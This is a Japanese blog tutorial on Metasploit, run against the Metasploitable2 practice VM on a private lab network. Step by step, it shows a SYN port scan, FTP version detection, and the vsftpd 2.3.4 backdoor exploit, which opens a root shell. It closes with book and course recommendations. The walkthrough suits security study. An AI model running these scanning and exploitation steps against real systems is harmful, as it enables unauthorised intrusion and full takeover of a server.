Metasploitの使い方
検証環境にMetasploitableを使用して使い方を覚えていきたい思います。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
まずは簡単なことを焦らずにひとつひとつやっていきます。
調査
攻撃の前には対象のマシンを調査をする必要があります。
Metasploitにはサーバー調査に使えるツールが組み込まれています。
ここは素直にポートスキャンでもやってみましょうか。
Metasploitではuseを使用してモジュールを選択します。
ポートスキャナーを選択するため、以下のようにコマンド実行します。
1 |
msf5 > use auxiliary/scanner/portscan/syn |
今回はsynスキャンを実行するスキャナーを選択しました。
これでモジュールを選択したことになりました。
実行する前に設定しなければいけない値があります。
設定可能な値はshowコマンドで確認できます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
msf5 auxiliary(scanner/portscan/syn) > show options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in milliseconds |
とりあえずRHOSTSを指定すれば問題なさそうですね。
設定はsetコマンドで行います。
Metasploitableのアドレスを指定します。
1 2 |
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.11.38 RHOSTS => 192.168.11.38 |
モジュールの実行にはexploitコマンドを使用します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
msf5 auxiliary(scanner/portscan/syn) > exploit [+] TCP OPEN 192.168.11.38:21 [+] TCP OPEN 192.168.11.38:22 [+] TCP OPEN 192.168.11.38:23 [+] TCP OPEN 192.168.11.38:25 [+] TCP OPEN 192.168.11.38:53 [+] TCP OPEN 192.168.11.38:80 [+] TCP OPEN 192.168.11.38:111 [+] TCP OPEN 192.168.11.38:139 [+] TCP OPEN 192.168.11.38:445 [+] TCP OPEN 192.168.11.38:512 [+] TCP OPEN 192.168.11.38:513 [+] TCP OPEN 192.168.11.38:514 [+] TCP OPEN 192.168.11.38:1099 ... |
開いているポートを教えてくれました。
今回はftpサーバに対してエクスプロイトしてみます。
そのためにftpサーバーの調査が必要です。
ひとまずftpサーバーのバージョンを取得するスキャナーを使ってみます。
1 |
msf5 > use auxiliary/scanner/ftp/ftp_version |
今回もモジュールを実行する前に設定しなければいけない値があります。
設定必須な値は宛先アドレスであるRHOSTSです。
1 2 3 4 5 6 7 8 9 10 11 12 |
msf5 > use auxiliary/scanner/ftp/ftp_version msf5 auxiliary(scanner/ftp/ftp_version) > show options Module options (auxiliary/scanner/ftp/ftp_version): Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) THREADS 1 yes The number of concurrent threads |
宛先にはMetasploitableサーバーのアドレスを指定しています。
1 2 |
msf5 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.11.38 RHOSTS => 192.168.11.38 |
実行してみましょう。
結果を見るとvsftpdが動作していることがわかりました。
1 2 3 4 5 |
msf5 auxiliary(scanner/ftp/ftp_version) > exploit [+] 192.168.11.38:21 - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a' [*] 192.168.11.38:21 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
エクスプロイト実行
スキャンの結果vsftpdが動いていることがわかったので、これに有効なエクスプロイトを実行します。
searchコマンドで対象に有効なモジュールを検索できます。
1 2 3 4 5 6 7 8 |
msf5 auxiliary(scanner/ftp/ftp_version) > search vsftpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution |
見つかったのでそのモジュールを使ってみます。
このモジュールも宛先を指定して使用するようです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
msf5 auxiliary(scanner/ftp/ftp_version) > use exploit/unix/ftp/vsftpd_234_backdoor msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP) Exploit target: Id Name -- ---- 0 Automatic |
攻撃に成功するとmetasploitableとシェルセッションが確立します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] 192.168.11.38:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.11.38:21 - USER: 331 Please specify the password. [+] 192.168.11.38:21 - Backdoor service has been spawned, handling... [+] 192.168.11.38:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 2 opened (192.168.11.6:45857 -> 192.168.11.38:6200) at 2019-09-14 21:20:11 +0900 ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:9c:5f:e8 inet addr:192.168.11.38 Bcast:192.168.11.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9c:5fe8/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:4895 errors:0 dropped:0 overruns:0 frame:0 TX packets:1565 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:306736 (299.5 KB) TX bytes:101481 (99.1 KB) Interrupt:19 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:430 errors:0 dropped:0 overruns:0 frame:0 TX packets:430 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:184569 (180.2 KB) TX bytes:184569 (180.2 KB) |
セキュリティーにおける調査から攻撃までの段取りはなんとか実行できたかと思います。
今回使用した機能はMetaploitのほんの一部分でしかないと思いますので、
これからもこのツールに関し記事を書くなりして理解を深めていきたいです。
ツールの使い方をあまり覚えられない私ですが、Metasploitは楽しくてハマりました。
Metasploitについて書かれた参考書ってあまり多くはないみたいですね。
自分は以下の書籍を買ってみました。
英語に抵抗がなければ特に問題なく進められると思います。
Metasploitによるシステムへの侵入から、
エクスプロイトの自動化の方法などについて書かれています。
日本語で書かれたセキュリティに関する書籍のなかで、
実際に手を動かすことをテーマにしたものってあまりないみたいなので、
英語に慣れることも必要なのかもしれませんね。
以下の参考書はMetasploitの専門書ではないですが、
Metasploitを使いシステムをハックする方法を学びます。
ちなみにUdemyならセキュリティについて学ぶことができるコースが多数用意されているようです。↓
【ハンズオンで理解】サイバー攻撃:侵入から権限昇格まで
Metasploitの基本的な使い方、Pythonを使ったツール作成や脆弱性の見つけ方など学ぶことができます。
価格が現在5400円と書籍とあまり変わらない値段です。
動画のほうがスムーズに進められる方にとってはいいかもしれません。